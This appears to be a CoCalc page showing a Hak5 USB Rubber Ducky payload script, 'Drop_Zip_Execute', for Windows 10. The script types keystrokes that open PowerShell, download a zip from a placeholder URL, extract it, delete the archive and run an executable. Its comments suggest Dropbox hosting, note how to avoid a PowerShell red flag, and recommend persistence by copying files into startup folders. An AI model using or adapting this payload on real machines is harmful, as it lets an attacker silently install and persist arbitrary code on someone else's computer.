Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/recon/Drop_Zip_Execute/payload.txt
2968 views
1
REM Name: DROP-ZIP-EXCECUTE
2
REM Author: Lumen
3
REM Description: Downloads program in a zip file, then unzips and executes it
4
REM Target: Windows 10 powershell
5
DELAY 1000
6
GUI r
7
DELAY 300
8
STRING powershell
9
DELAY 300
10
ENTER
11
DELAY 600
12
STRING Invoke-WebRequest -Uri <ZIP URL> -OutFile "~\Documents\My Games\file.zip"; Expand-Archive -Path "~\Documents\My Games\file.zip" -DestinationPath "~\Documents\My Games\file"; Remove-Item "~\Documents\My Games\file.zip"; & '<EXE PATH>'
13
ENTER
14
REM Invoke-WebRequest gets and saves the content of the URI given to it
15
REM Pasting a dropbox link works well here. Just get the share link and change ?dl=0 to ?dl=1
16
REM Expand-Archive Unzips path to destinationPath
17
REM Remove-Item deletes the zip file (just to clean up a bit)
18
REM & tells powershell to execute the given path
19
REM since powershelgl opens at C:\Users\%user%, a relative path can be used from there
20
REM using %user% seems to set off a red flag in powershell, but relative paths work well
21
REM ; allows multiple commands to be run one after the other, so rather than running one and
22
REM guessing a wait time, the command is entered and ran all at once.
23
REM once the command is typed and the download begins, the ducky can be removed and the
24
REM computer will take care of the rest through the given instructions
25
REM Best when combined with a well made BATCH file to shift files around, make multiple copies,
26
REM shortcuts, and move them into startup folders ;)
27
28